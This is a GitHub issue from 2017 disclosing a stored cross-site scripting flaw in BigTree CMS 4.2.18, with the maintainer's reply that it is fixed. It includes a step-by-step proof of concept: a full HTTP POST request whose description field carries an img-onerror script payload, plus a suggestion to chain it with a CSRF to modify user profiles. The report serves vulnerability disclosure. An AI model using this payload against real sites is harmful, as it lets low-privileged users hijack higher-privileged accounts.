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Cross-site Scripting (XSS) in bigtreecms 4.2.18 #294

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xfkxfk opened this issue Jun 6, 2017 · 1 comment

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commented Jun 6, 2017

Cross-site Scripting (XSS) in bigtreecms 4.2.18

We can use low-privileged(administrator) users to attack high-privileged(Developer) users
Combined with this csrf(http://www.victim.com/BigTree-CMS-4.2.18/site/index.php/admin/users/profile/update/), we can Modify any user profile

POC:
1、add a administrator user 222222
2、login with user 222222
3、request http://127.0.0.1/BigTree-CMS-4.2.18/site/index.php/admin/pages/revisions/0/,save a published revisions:

POST /BigTree-CMS-4.2.18/site/index.php/admin/ajax/pages/save-revision/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/BigTree-CMS-4.2.18/site/index.php/admin/pages/revisions/0/
Content-Length: 163
Cookie:
Connection: keep-alive

id=c0&description=%22%3E%3Cimg+src%3D1+onerror%3Dalert(%2Fxss%2F)%3E&csrf_token_YCH2Q3YC6Y9RTA4D3T4KKNG80WAKCF88
=nZuaRAB4lBqfc9YHAERQAiA1z1N0F3j48sKEQPM4vvE%3D

the param description have a xss vuln
4、when the developer user login, and request:
http://127.0.0.1/BigTree-CMS-4.2.18/site/index.php/admin/pages/revisions/0/
the developer user will be xssed~

xss

thank you~
email:xfkxfk@secbook.net

@timbuckingham

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commented Jun 10, 2017

Fixed! Thank you!

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